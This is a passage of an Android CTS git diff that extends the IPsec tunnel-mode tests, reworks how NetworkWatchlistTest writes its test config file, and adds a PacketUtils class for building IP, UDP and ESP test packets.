+ IpSecTransform inTransportTransform =
+ buildIpSecTransform(sContext, inTransportSpi, null, remoteInner);
+ IpSecTransform outTransportTransform =
+ buildIpSecTransform(sContext, outTransportSpi, null, localInner);
+ UdpEncapsulationSocket encapSocket = mISM.openUdpEncapsulationSocket()) {
+
+ buildTunnelNetworkAndRunTests(
+ localInner,
+ remoteInner,
+ localOuter,
+ remoteOuter,
+ spi,
+ useEncap ? encapSocket : null,
+ factory.getIpSecTunnelTestRunnable(
+ transportInTunnelMode,
+ spi,
+ localInner,
+ remoteInner,
+ localOuter,
+ remoteOuter,
+ inTransportTransform,
+ outTransportTransform,
+ useEncap ? encapSocket.getPort() : 0,
+ 0,
+ expectedPacketSize));
+ }
+ }
+
+ private int buildTunnelNetworkAndRunTests(
+ InetAddress localInner,
+ InetAddress remoteInner,
+ InetAddress localOuter,
+ InetAddress remoteOuter,
+ int spi,
+ UdpEncapsulationSocket encapSocket,
+ IpSecTunnelTestRunnable test)
+ throws Exception {
+ int innerPrefixLen = localInner instanceof Inet6Address ? IP6_PREFIX_LEN : IP4_PREFIX_LEN;
+ TestNetworkCallback testNetworkCb = null;
+ int innerSocketPort;
+
+ try (IpSecManager.SecurityParameterIndex inSpi =
+ mISM.allocateSecurityParameterIndex(localOuter, spi);
+ IpSecManager.SecurityParameterIndex outSpi =
+ mISM.allocateSecurityParameterIndex(remoteOuter, spi);
+ IpSecManager.IpSecTunnelInterface tunnelIface =
+ mISM.createIpSecTunnelInterface(localOuter, remoteOuter, sTunNetwork)) {
+ // Build the test network
+ tunnelIface.addAddress(localInner, innerPrefixLen);
+ testNetworkCb = setupAndGetTestNetwork(tunnelIface.getInterfaceName());
+ Network testNetwork = testNetworkCb.getNetworkBlocking();
+
+ // Check interface was created
+ assertNotNull(NetworkInterface.getByName(tunnelIface.getInterfaceName()));
+
+ // Verify address was added
+ final NetworkInterface netIface = NetworkInterface.getByInetAddress(localInner);
+ assertNotNull(netIface);
+ assertEquals(tunnelIface.getInterfaceName(), netIface.getDisplayName());
+
+ // Configure Transform parameters
+ IpSecTransform.Builder transformBuilder = new IpSecTransform.Builder(sContext);
transformBuilder.setEncryption(
new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY));
transformBuilder.setAuthentication(
new IpSecAlgorithm(
IpSecAlgorithm.AUTH_HMAC_SHA256, AUTH_KEY, AUTH_KEY.length * 4));
- if (useEncap) {
+ if (encapSocket != null) {
transformBuilder.setIpv4Encapsulation(encapSocket, encapSocket.getPort());
}
- // Check transform application
- try (IpSecTransform transform = transformBuilder.buildTunnelModeTransform(outer, spi)) {
- mISM.applyTunnelModeTransform(tunnelIntf, IpSecManager.DIRECTION_IN, transform);
- mISM.applyTunnelModeTransform(tunnelIntf, IpSecManager.DIRECTION_OUT, transform);
+ // Apply transform and check that traffic is properly encrypted
+ try (IpSecTransform inTransform =
+ transformBuilder.buildTunnelModeTransform(remoteOuter, inSpi);
+ IpSecTransform outTransform =
+ transformBuilder.buildTunnelModeTransform(localOuter, outSpi)) {
+ mISM.applyTunnelModeTransform(tunnelIface, IpSecManager.DIRECTION_IN, inTransform);
+ mISM.applyTunnelModeTransform(
+ tunnelIface, IpSecManager.DIRECTION_OUT, outTransform);
- // TODO: Test to ensure that send/receive works with these transforms.
+ innerSocketPort = test.run(testNetwork);
}
- // Check interface was created
- NetworkInterface netIntf = NetworkInterface.getByName(tunnelIntf.getInterfaceName());
- assertNotNull(netIntf);
+ // Teardown the test network
+ sTNM.teardownTestNetwork(testNetwork);
- // Add addresses and check
- tunnelIntf.addAddress(inner, innerPrefixLen);
- for (InterfaceAddress intfAddr : netIntf.getInterfaceAddresses()) {
- assertEquals(intfAddr.getAddress(), inner);
- assertEquals(intfAddr.getNetworkPrefixLength(), innerPrefixLen);
- }
-
- // Remove addresses and check
- tunnelIntf.removeAddress(inner, innerPrefixLen);
- assertTrue(netIntf.getInterfaceAddresses().isEmpty());
+ // Remove addresses and check that interface is still present, but fails lookup-by-addr
+ tunnelIface.removeAddress(localInner, innerPrefixLen);
+ assertNotNull(NetworkInterface.getByName(tunnelIface.getInterfaceName()));
+ assertNull(NetworkInterface.getByInetAddress(localInner));
// Check interface was cleaned up
- tunnelIntf.close();
- netIntf = NetworkInterface.getByName(tunnelIntf.getInterfaceName());
- assertNull(netIntf);
+ tunnelIface.close();
+ assertNull(NetworkInterface.getByName(tunnelIface.getInterfaceName()));
+ } finally {
+ if (testNetworkCb != null) {
+ sCM.unregisterNetworkCallback(testNetworkCb);
+ }
+ }
+
+ return innerSocketPort;
+ }
+
+ private static void receiveAndValidatePacket(JavaUdpSocket socket) throws Exception {
+ byte[] socketResponseBytes = socket.receive();
+ assertArrayEquals(TEST_DATA, socketResponseBytes);
+ }
+
+ private int getRandomSpi(InetAddress localOuter, InetAddress remoteOuter) throws Exception {
+ // Try to allocate both in and out SPIs using the same requested SPI value.
+ try (IpSecManager.SecurityParameterIndex inSpi =
+ mISM.allocateSecurityParameterIndex(localOuter);
+ IpSecManager.SecurityParameterIndex outSpi =
+ mISM.allocateSecurityParameterIndex(remoteOuter, inSpi.getSpi()); ) {
+ return inSpi.getSpi();
}
}
- /*
- * Create, add and remove addresses, then teardown tunnel
- */
+ private IpHeader getIpHeader(int protocol, InetAddress src, InetAddress dst, Payload payload) {
+ if ((src instanceof Inet6Address) != (dst instanceof Inet6Address)) {
+ throw new IllegalArgumentException("Invalid src/dst address combination");
+ }
+
+ if (src instanceof Inet6Address) {
+ return new Ip6Header(protocol, (Inet6Address) src, (Inet6Address) dst, payload);
+ } else {
+ return new Ip4Header(protocol, (Inet4Address) src, (Inet4Address) dst, payload);
+ }
+ }
+
+ private EspHeader buildTransportModeEspPacket(
+ int spi, InetAddress src, InetAddress dst, int port, Payload payload) throws Exception {
+ IpHeader preEspIpHeader = getIpHeader(payload.getProtocolId(), src, dst, payload);
+
+ return new EspHeader(
+ payload.getProtocolId(),
+ spi,
+ 1, // sequence number
+ CRYPT_KEY, // Same key for auth and crypt
+ payload.getPacketBytes(preEspIpHeader));
+ }
+
+ private EspHeader buildTunnelModeEspPacket(
+ int spi,
+ InetAddress srcInner,
+ InetAddress dstInner,
+ InetAddress srcOuter,
+ InetAddress dstOuter,
+ int port,
+ int encapPort,
+ Payload payload)
+ throws Exception {
+ IpHeader innerIp = getIpHeader(payload.getProtocolId(), srcInner, dstInner, payload);
+ return new EspHeader(
+ innerIp.getProtocolId(),
+ spi,
+ 1, // sequence number
+ CRYPT_KEY, // Same key for auth and crypt
+ innerIp.getPacketBytes());
+ }
+
+ private IpHeader maybeEncapPacket(
+ InetAddress src, InetAddress dst, int encapPort, EspHeader espPayload)
+ throws Exception {
+
+ Payload payload = espPayload;
+ if (encapPort != 0) {
+ payload = new UdpHeader(encapPort, encapPort, espPayload);
+ }
+
+ return getIpHeader(payload.getProtocolId(), src, dst, payload);
+ }
+
+ private byte[] getTunnelModePacket(
+ int spi,
+ InetAddress srcInner,
+ InetAddress dstInner,
+ InetAddress srcOuter,
+ InetAddress dstOuter,
+ int port,
+ int encapPort)
+ throws Exception {
+ UdpHeader udp = new UdpHeader(port, port, new BytePayload(TEST_DATA));
+
+ EspHeader espPayload =
+ buildTunnelModeEspPacket(
+ spi, srcInner, dstInner, srcOuter, dstOuter, port, encapPort, udp);
+ return maybeEncapPacket(srcOuter, dstOuter, encapPort, espPayload).getPacketBytes();
+ }
+
+ private byte[] getTransportInTunnelModePacket(
+ int spiInner,
+ int spiOuter,
+ InetAddress srcInner,
+ InetAddress dstInner,
+ InetAddress srcOuter,
+ InetAddress dstOuter,
+ int port,
+ int encapPort)
+ throws Exception {
+ UdpHeader udp = new UdpHeader(port, port, new BytePayload(TEST_DATA));
+
+ EspHeader espPayload = buildTransportModeEspPacket(spiInner, srcInner, dstInner, port, udp);
+ espPayload =
+ buildTunnelModeEspPacket(
+ spiOuter,
+ srcInner,
+ dstInner,
+ srcOuter,
+ dstOuter,
+ port,
+ encapPort,
+ espPayload);
+ return maybeEncapPacket(srcOuter, dstOuter, encapPort, espPayload).getPacketBytes();
+ }
+
+ // Transport-in-Tunnel mode tests
+ @Test
+ public void testTransportInTunnelModeV4InV4() throws Exception {
+ checkTunnelOutput(AF_INET, AF_INET, false, true);
+ checkTunnelInput(AF_INET, AF_INET, false, true);
+ }
+
+ @Test
+ public void testTransportInTunnelModeV4InV4Reflected() throws Exception {
+ checkTunnelReflected(AF_INET, AF_INET, false, true);
+ }
+
+ @Test
+ public void testTransportInTunnelModeV4InV4UdpEncap() throws Exception {
+ checkTunnelOutput(AF_INET, AF_INET, true, true);
+ checkTunnelInput(AF_INET, AF_INET, true, true);
+ }
+
+ @Test
+ public void testTransportInTunnelModeV4InV4UdpEncapReflected() throws Exception {
+ checkTunnelReflected(AF_INET, AF_INET, false, true);
+ }
+
+ @Test
+ public void testTransportInTunnelModeV4InV6() throws Exception {
+ checkTunnelOutput(AF_INET, AF_INET6, false, true);
+ checkTunnelInput(AF_INET, AF_INET6, false, true);
+ }
+
+ @Test
+ public void testTransportInTunnelModeV4InV6Reflected() throws Exception {
+ checkTunnelReflected(AF_INET, AF_INET, false, true);
+ }
+
+ @Test
+ public void testTransportInTunnelModeV6InV4() throws Exception {
+ checkTunnelOutput(AF_INET6, AF_INET, false, true);
+ checkTunnelInput(AF_INET6, AF_INET, false, true);
+ }
+
+ @Test
+ public void testTransportInTunnelModeV6InV4Reflected() throws Exception {
+ checkTunnelReflected(AF_INET, AF_INET, false, true);
+ }
+
+ @Test
+ public void testTransportInTunnelModeV6InV4UdpEncap() throws Exception {
+ checkTunnelOutput(AF_INET6, AF_INET, true, true);
+ checkTunnelInput(AF_INET6, AF_INET, true, true);
+ }
+
+ @Test
+ public void testTransportInTunnelModeV6InV4UdpEncapReflected() throws Exception {
+ checkTunnelReflected(AF_INET, AF_INET, false, true);
+ }
+
+ @Test
+ public void testTransportInTunnelModeV6InV6() throws Exception {
+ checkTunnelOutput(AF_INET, AF_INET6, false, true);
+ checkTunnelInput(AF_INET, AF_INET6, false, true);
+ }
+
+ @Test
+ public void testTransportInTunnelModeV6InV6Reflected() throws Exception {
+ checkTunnelReflected(AF_INET, AF_INET, false, true);
+ }
+
+ // Tunnel mode tests
+ @Test
public void testTunnelV4InV4() throws Exception {
- checkTunnel(INNER_ADDR4, OUTER_ADDR4, false);
+ checkTunnelOutput(AF_INET, AF_INET, false, false);
+ checkTunnelInput(AF_INET, AF_INET, false, false);
}
+ @Test
+ public void testTunnelV4InV4Reflected() throws Exception {
+ checkTunnelReflected(AF_INET, AF_INET, false, false);
+ }
+
+ @Test
public void testTunnelV4InV4UdpEncap() throws Exception {
- checkTunnel(INNER_ADDR4, OUTER_ADDR4, true);
+ checkTunnelOutput(AF_INET, AF_INET, true, false);
+ checkTunnelInput(AF_INET, AF_INET, true, false);
}
+ @Test
+ public void testTunnelV4InV4UdpEncapReflected() throws Exception {
+ checkTunnelReflected(AF_INET, AF_INET, true, false);
+ }
+
+ @Test
public void testTunnelV4InV6() throws Exception {
- checkTunnel(INNER_ADDR4, OUTER_ADDR6, false);
+ checkTunnelOutput(AF_INET, AF_INET6, false, false);
+ checkTunnelInput(AF_INET, AF_INET6, false, false);
}
+ @Test
+ public void testTunnelV4InV6Reflected() throws Exception {
+ checkTunnelReflected(AF_INET, AF_INET6, false, false);
+ }
+
+ @Test
public void testTunnelV6InV4() throws Exception {
- checkTunnel(INNER_ADDR6, OUTER_ADDR4, false);
+ checkTunnelOutput(AF_INET6, AF_INET, false, false);
+ checkTunnelInput(AF_INET6, AF_INET, false, false);
}
+ @Test
+ public void testTunnelV6InV4Reflected() throws Exception {
+ checkTunnelReflected(AF_INET6, AF_INET, false, false);
+ }
+
+ @Test
public void testTunnelV6InV4UdpEncap() throws Exception {
- checkTunnel(INNER_ADDR6, OUTER_ADDR4, true);
+ checkTunnelOutput(AF_INET6, AF_INET, true, false);
+ checkTunnelInput(AF_INET6, AF_INET, true, false);
}
+ @Test
+ public void testTunnelV6InV4UdpEncapReflected() throws Exception {
+ checkTunnelReflected(AF_INET6, AF_INET, true, false);
+ }
+
+ @Test
public void testTunnelV6InV6() throws Exception {
- checkTunnel(INNER_ADDR6, OUTER_ADDR6, false);
+ checkTunnelOutput(AF_INET6, AF_INET6, false, false);
+ checkTunnelInput(AF_INET6, AF_INET6, false, false);
+ }
+
+ @Test
+ public void testTunnelV6InV6Reflected() throws Exception {
+ checkTunnelReflected(AF_INET6, AF_INET6, false, false);
}
}
diff --git a/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java b/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
index e0c03a1..e4e350c 100644
--- a/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
+++ b/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
@@ -23,7 +23,9 @@
import android.content.Context;
import android.net.ConnectivityManager;
+import android.platform.test.annotations.AppModeFull;
import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
import androidx.test.InstrumentationRegistry;
import androidx.test.filters.SmallTest;
@@ -38,7 +40,7 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.io.File;
+import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Formatter;
@@ -50,8 +52,6 @@
private static final String TEST_WATCHLIST_XML = "assets/network_watchlist_config_for_test.xml";
private static final String TEST_EMPTY_WATCHLIST_XML =
"assets/network_watchlist_config_empty_for_test.xml";
- private static final String SDCARD_CONFIG_PATH =
- "/sdcard/network_watchlist_config_for_test.xml";
private static final String TMP_CONFIG_PATH =
"/data/local/tmp/network_watchlist_config_for_test.xml";
// Generated from sha256sum network_watchlist_config_for_test.xml
@@ -83,8 +83,7 @@
}
}
- private void cleanup() throws Exception {
- runCommand("rm " + SDCARD_CONFIG_PATH);
+ private void cleanup() throws IOException {
runCommand("rm " + TMP_CONFIG_PATH);
}
@@ -99,6 +98,7 @@
* returns the hash of config we set.
*/
@Test
+ @AppModeFull(reason = "Cannot access resource file in instant app mode")
public void testGetWatchlistConfigHash() throws Exception {
// Set watchlist config file for test
setWatchlistConfig(TEST_WATCHLIST_XML);
@@ -116,22 +116,43 @@
}
private void saveResourceToFile(String res, String filePath) throws IOException {
- InputStream in = getClass().getClassLoader().getResourceAsStream(res);
- FileUtils.copyToFileOrThrow(in, new File(filePath));
+ // App can't access /data/local/tmp directly, so we pipe resource to file through stdin.
+ ParcelFileDescriptor stdin = pipeFromStdin(filePath);
+ pipeResourceToFileDescriptor(res, stdin);
+ }
+
+ /* Pipe stdin to a file in filePath. Returns PFD for stdin. */
+ private ParcelFileDescriptor pipeFromStdin(String filePath) {
+ // Not all devices have symlink for /dev/stdin, so use /proc/self/fd/0 directly.
+ // /dev/stdin maps to /proc/self/fd/0.
+ return runRwCommand("cp /proc/self/fd/0 " + filePath)[1];
+ }
+
+ private void pipeResourceToFileDescriptor(String res, ParcelFileDescriptor pfd)
+ throws IOException {
+ InputStream resStream = getClass().getClassLoader().getResourceAsStream(res);
+ FileOutputStream fdStream = new ParcelFileDescriptor.AutoCloseOutputStream(pfd);
+
+ FileUtils.copy(resStream, fdStream);
+
+ try {
+ fdStream.close();
+ } catch (IOException e) {
+ }
}
private static String runCommand(String command) throws IOException {
return SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
}
+ private static ParcelFileDescriptor[] runRwCommand(String command) {
+ return InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation().executeShellCommandRw(command);
+ }
+
private void setWatchlistConfig(String watchlistConfigFile) throws Exception {
cleanup();
- // Save test watchlist config to sdcard as app can't access /data/local/tmp
- saveResourceToFile(watchlistConfigFile, SDCARD_CONFIG_PATH);
- // Copy test watchlist config from sdcard to /data/local/tmp as system service
- // can't access /sdcard
- runCommand("cp " + SDCARD_CONFIG_PATH + " " + TMP_CONFIG_PATH);
- // Set test watchlist config to system
+ saveResourceToFile(watchlistConfigFile, TMP_CONFIG_PATH);
final String cmdResult = runCommand(
"cmd network_watchlist set-test-config " + TMP_CONFIG_PATH).trim();
assertThat(cmdResult).contains("Success");
diff --git a/tests/tests/net/src/android/net/cts/PacketUtils.java b/tests/tests/net/src/android/net/cts/PacketUtils.java
new file mode 100644
index 0000000..6177827
--- /dev/null
+++ b/tests/tests/net/src/android/net/cts/PacketUtils.java
@@ -0,0 +1,460 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts;
+
+import static android.system.OsConstants.IPPROTO_IPV6;
+import static android.system.OsConstants.IPPROTO_UDP;
+
+import java.net.Inet4Address;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.nio.ByteBuffer;
+import java.nio.ShortBuffer;
+import java.security.GeneralSecurityException;
+import java.security.SecureRandom;
+import java.util.Arrays;
+import javax.crypto.Cipher;
+import javax.crypto.Mac;
+import javax.crypto.spec.IvParameterSpec;
+import javax.crypto.spec.SecretKeySpec;
+
+public class PacketUtils {
+ private static final String TAG = PacketUtils.class.getSimpleName();
+
+ private static final int DATA_BUFFER_LEN = 4096;
+
+ static final int IP4_HDRLEN = 20;
+ static final int IP6_HDRLEN = 40;
+ static final int UDP_HDRLEN = 8;
+ static final int TCP_HDRLEN = 20;
+ static final int TCP_HDRLEN_WITH_TIMESTAMP_OPT = TCP_HDRLEN + 12;
+
+ // Not defined in OsConstants
+ static final int IPPROTO_IPV4 = 4;
+ static final int IPPROTO_ESP = 50;
+
+ // Encryption parameters
+ static final int AES_GCM_IV_LEN = 8;
+ static final int AES_CBC_IV_LEN = 16;
+ static final int AES_GCM_BLK_SIZE = 4;
+ static final int AES_CBC_BLK_SIZE = 16;
+
+ // Encryption algorithms
+ static final String AES = "AES";
+ static final String AES_CBC = "AES/CBC/NoPadding";
+ static final String HMAC_SHA_256 = "HmacSHA256";
+
+ public interface Payload {
+ byte[] getPacketBytes(IpHeader header) throws Exception;
+
+ void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception;
+
+ short length();
+
+ int getProtocolId();
+ }
+
+ public abstract static class IpHeader {
+
+ public final byte proto;
+ public final InetAddress srcAddr;
+ public final InetAddress dstAddr;
+ public final Payload payload;
+
+ public IpHeader(int proto, InetAddress src, InetAddress dst, Payload payload) {
+ this.proto = (byte) proto;
+ this.srcAddr = src;
+ this.dstAddr = dst;
+ this.payload = payload;
+ }
+
+ public abstract byte[] getPacketBytes() throws Exception;
+
+ public abstract int getProtocolId();
+ }
+
+ public static class Ip4Header extends IpHeader {
+ private short checksum;
+
+ public Ip4Header(int proto, Inet4Address src, Inet4Address dst, Payload payload) {
+ super(proto, src, dst, payload);
+ }
+
+ public byte[] getPacketBytes() throws Exception {
+ ByteBuffer resultBuffer = buildHeader();
+ payload.addPacketBytes(this, resultBuffer);
+
+ return getByteArrayFromBuffer(resultBuffer);
+ }
+
+ public ByteBuffer buildHeader() {
+ ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
+
+ // Version, IHL
+ bb.put((byte) (0x45));
+
+ // DCSP, ECN
+ bb.put((byte) 0);
+
+ // Total Length
+ bb.putShort((short) (IP4_HDRLEN + payload.length()));
+
+ // Empty for Identification, Flags and Fragment Offset
+ bb.putShort((short) 0);
+ bb.put((byte) 0x40);
+ bb.put((byte) 0x00);
+
+ // TTL
+ bb.put((byte) 64);
+
+ // Protocol
+ bb.put(proto);
+
+ // Header Checksum
+ final int ipChecksumOffset = bb.position();
+ bb.putShort((short) 0);
+
+ // Src/Dst addresses
+ bb.put(srcAddr.getAddress());
+ bb.put(dstAddr.getAddress());
+
+ bb.putShort(ipChecksumOffset, calculateChecksum(bb));
+
+ return bb;
+ }
+
+ private short calculateChecksum(ByteBuffer bb) {
+ int checksum = 0;
+
+ // Calculate sum of 16-bit values, excluding checksum. IPv4 headers are always 32-bit
+ // aligned, so no special cases needed for unaligned values.
+ ShortBuffer shortBuffer = ByteBuffer.wrap(getByteArrayFromBuffer(bb)).asShortBuffer();
+ while (shortBuffer.hasRemaining()) {
+ short val = shortBuffer.get();
+
+ // Wrap as needed
+ checksum = addAndWrapForChecksum(checksum, val);
+ }
+
+ return onesComplement(checksum);
+ }
+
+ public int getProtocolId() {
+ return IPPROTO_IPV4;
+ }
+ }
+
+ public static class Ip6Header extends IpHeader {
+ public Ip6Header(int nextHeader, Inet6Address src, Inet6Address dst, Payload payload) {
+ super(nextHeader, src, dst, payload);
+ }
+
+ public byte[] getPacketBytes() throws Exception {
+ ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
+
+ // Version | Traffic Class (First 4 bits)
+ bb.put((byte) 0x60);
+
+ // Traffic class (Last 4 bits), Flow Label
+ bb.put((byte) 0);
+ bb.put((byte) 0);
+ bb.put((byte) 0);
+
+ // Payload Length
+ bb.putShort((short) payload.length());
+
+ // Next Header
+ bb.put(proto);
+
+ // Hop Limit
+ bb.put((byte) 64);
+
+ // Src/Dst addresses
+ bb.put(srcAddr.getAddress());
+ bb.put(dstAddr.getAddress());
+
+ // Payload
+ payload.addPacketBytes(this, bb);
+
+ return getByteArrayFromBuffer(bb);
+ }
+
+ public int getProtocolId() {
+ return IPPROTO_IPV6;
+ }
+ }
+
+ public static class BytePayload implements Payload {
+ public final byte[] payload;
+
+ public BytePayload(byte[] payload) {
+ this.payload = payload;
+ }
+
+ public int getProtocolId() {
+ return -1;
+ }
+
+ public byte[] getPacketBytes(IpHeader header) {
+ ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
+
+ addPacketBytes(header, bb);
+ return getByteArrayFromBuffer(bb);
+ }
+
+ public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) {
+ resultBuffer.put(payload);
+ }
+
+ public short length() {
+ return (short) payload.length;
+ }
+ }
+
+ public static class UdpHeader implements Payload {
+
+ public final short srcPort;
+ public final short dstPort;
+ public final Payload payload;
+
+ public UdpHeader(int srcPort, int dstPort, Payload payload) {
+ this.srcPort = (short) srcPort;
+ this.dstPort = (short) dstPort;
+ this.payload = payload;
+ }
+
+ public int getProtocolId() {
+ return IPPROTO_UDP;
+ }
+
+ public short length() {
+ return (short) (payload.length() + 8);
+ }
+
+ public byte[] getPacketBytes(IpHeader header) throws Exception {
+ ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
+
+ addPacketBytes(header, bb);
+ return getByteArrayFromBuffer(bb);
+ }
+
+ public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception {
+ // Source, Destination port
+ resultBuffer.putShort(srcPort);
+ resultBuffer.putShort(dstPort);
+
+ // Payload Length
+ resultBuffer.putShort(length());
+
+ // Get payload bytes for checksum + payload
+ ByteBuffer payloadBuffer = ByteBuffer.allocate(DATA_BUFFER_LEN);
+ payload.addPacketBytes(header, payloadBuffer);
+ byte[] payloadBytes = getByteArrayFromBuffer(payloadBuffer);
+
+ // Checksum
+ resultBuffer.putShort(calculateChecksum(header, payloadBytes));
+
+ // Payload
+ resultBuffer.put(payloadBytes);
+ }
+
+ private short calculateChecksum(IpHeader header, byte[] payloadBytes) throws Exception {
+ int newChecksum = 0;
+ ShortBuffer srcBuffer = ByteBuffer.wrap(header.srcAddr.getAddress()).asShortBuffer();
+ ShortBuffer dstBuffer = ByteBuffer.wrap(header.dstAddr.getAddress()).asShortBuffer();
+
+ while (srcBuffer.hasRemaining() || dstBuffer.hasRemaining()) {
+ short val = srcBuffer.hasRemaining() ? srcBuffer.get() : dstBuffer.get();
+
+ // Wrap as needed
+ newChecksum = addAndWrapForChecksum(newChecksum, val);
+ }
+
+ // Add pseudo-header values. Proto is 0-padded, so just use the byte.
+ newChecksum = addAndWrapForChecksum(newChecksum, header.proto);
+ newChecksum = addAndWrapForChecksum(newChecksum, length());
+ newChecksum = addAndWrapForChecksum(newChecksum, srcPort);
+ newChecksum = addAndWrapForChecksum(newChecksum, dstPort);
+ newChecksum = addAndWrapForChecksum(newChecksum, length());
+
+ ShortBuffer payloadShortBuffer = ByteBuffer.wrap(payloadBytes).asShortBuffer();
+ while (payloadShortBuffer.hasRemaining()) {
+ newChecksum = addAndWrapForChecksum(newChecksum, payloadShortBuffer.get());
+ }
+ if (payload.length() % 2 != 0) {
+ newChecksum =
+ addAndWrapForChecksum(
+ newChecksum, (payloadBytes[payloadBytes.length - 1] << 8));
+ }
+
+ return onesComplement(newChecksum);
+ }
+ }
+
+ public static class EspHeader implements Payload {
+ public final int nextHeader;
+ public final int spi;
+ public final int seqNum;
+ public final byte[] key;
+ public final byte[] payload;
+
+ /**
+ * Generic constructor for ESP headers.
+ *
+ * <p>For Tunnel mode, payload will be a full IP header + attached payloads
+ *
+ * <p>For Transport mode, payload will be only the attached payloads, but with the checksum
+ * calculated using the pre-encryption IP header
+ */
+ public EspHeader(int nextHeader, int spi, int seqNum, byte[] key, byte[] payload) {
+ this.nextHeader = nextHeader;
+ this.spi = spi;
+ this.seqNum = seqNum;
+ this.key = key;
+ this.payload = payload;
+ }
+
+ public int getProtocolId() {
+ return IPPROTO_ESP;
+ }
+
+ public short length() {
+ // ALWAYS uses AES-CBC, HMAC-SHA256 (128b trunc len)
+ return (short)
+ calculateEspPacketSize(payload.length, AES_CBC_IV_LEN, AES_CBC_BLK_SIZE, 128);
+ }
+
+ public byte[] getPacketBytes(IpHeader header) throws Exception {
+ ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
+
+ addPacketBytes(header, bb);
+ return getByteArrayFromBuffer(bb);
+ }
+
+ public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception {
+ ByteBuffer espPayloadBuffer = ByteBuffer.allocate(DATA_BUFFER_LEN);
+ espPayloadBuffer.putInt(spi);
+ espPayloadBuffer.putInt(seqNum);
+ espPayloadBuffer.put(getCiphertext(key));
+
+ espPayloadBuffer.put(getIcv(getByteArrayFromBuffer(espPayloadBuffer)), 0, 16);
+ resultBuffer.put(getByteArrayFromBuffer(espPayloadBuffer));
+ }
+
+ private byte[] getIcv(byte[] authenticatedSection) throws GeneralSecurityException {
+ Mac sha256HMAC = Mac.getInstance(HMAC_SHA_256);
+ SecretKeySpec authKey = new SecretKeySpec(key, HMAC_SHA_256);
+ sha256HMAC.init(authKey);
+
+ return sha256HMAC.doFinal(authenticatedSection);
+ }
+
+ /**
+ * Encrypts and builds ciphertext block. Includes the IV, Padding and Next-Header blocks
+ *
+ * <p>The ciphertext does NOT include the SPI/Sequence numbers, or the ICV.
+ */
+ private byte[] getCiphertext(byte[] key) throws GeneralSecurityException {
+ int paddedLen = calculateEspEncryptedLength(payload.length, AES_CBC_BLK_SIZE);
+ ByteBuffer paddedPayload = ByteBuffer.allocate(paddedLen);
+ paddedPayload.put(payload);
+
+ // Add padding - consecutive integers from 0x01
+ int pad = 1;
+ while (paddedPayload.position() < paddedPayload.limit()) {
+ paddedPayload.put((byte) pad++);
+ }
+
+ paddedPayload.position(paddedPayload.limit() - 2);
+ paddedPayload.put((byte) (paddedLen - 2 - payload.length)); // Pad length
+ paddedPayload.put((byte) nextHeader);
+
+ // Generate Initialization Vector
+ byte[] iv = new byte[AES_CBC_IV_LEN];
+ new SecureRandom().nextBytes(iv);
+ IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
+ SecretKeySpec secretKeySpec = new SecretKeySpec(key, AES);
+
+ // Encrypt payload
+ Cipher cipher = Cipher.getInstance(AES_CBC);
+ cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec);
+ byte[] encrypted = cipher.doFinal(getByteArrayFromBuffer(paddedPayload));
+
+ // Build ciphertext
+ ByteBuffer cipherText = ByteBuffer.allocate(AES_CBC_IV_LEN + encrypted.length);
+ cipherText.put(iv);
+ cipherText.put(encrypted);
+
+ return getByteArrayFromBuffer(cipherText);
+ }
+ }
+
+ private static int addAndWrapForChecksum(int currentChecksum, int value) {
+ currentChecksum += value & 0x0000ffff;
+
+ // Wrap anything beyond the first 16 bits, and add to lower order bits
+ return (currentChecksum >>> 16) + (currentChecksum & 0x0000ffff);
+ }
+
+ private static short onesComplement(int val) {
+ val = (val >>> 16) + (val & 0xffff);
+
+ if (val == 0) return 0;
+ return (short) ((~val) & 0xffff);
+ }
+
+ public static int calculateEspPacketSize(
+ int payloadLen, int cryptIvLength, int cryptBlockSize, int authTruncLen) {
+ final int ESP_HDRLEN = 4 + 4; // SPI + Seq#
+ final int ICV_LEN = authTruncLen / 8; // Auth trailer; based on truncation length
+ payloadLen += cryptIvLength; // Initialization Vector
+
+ // Align to block size of encryption algorithm
+ payloadLen = calculateEspEncryptedLength(payloadLen, cryptBlockSize);
+ return payloadLen + ESP_HDRLEN + ICV_LEN;
+ }
+
+ private static int calculateEspEncryptedLength(int payloadLen, int cryptBlockSize) {
+ payloadLen += 2; // ESP trailer
+
+ // Align to block size of encryption algorithm
+ return payloadLen + calculateEspPadLen(payloadLen, cryptBlockSize);
+ }
+
+ private static int calculateEspPadLen(int payloadLen, int cryptBlockSize) {
+ return (cryptBlockSize - (payloadLen % cryptBlockSize)) % cryptBlockSize;
+ }
+
+ private static byte[] getByteArrayFromBuffer(ByteBuffer buffer) {
+ return Arrays.copyOfRange(buffer.array(), 0, buffer.position());
+ }
+
+ /*
+ * Debug printing
+ */
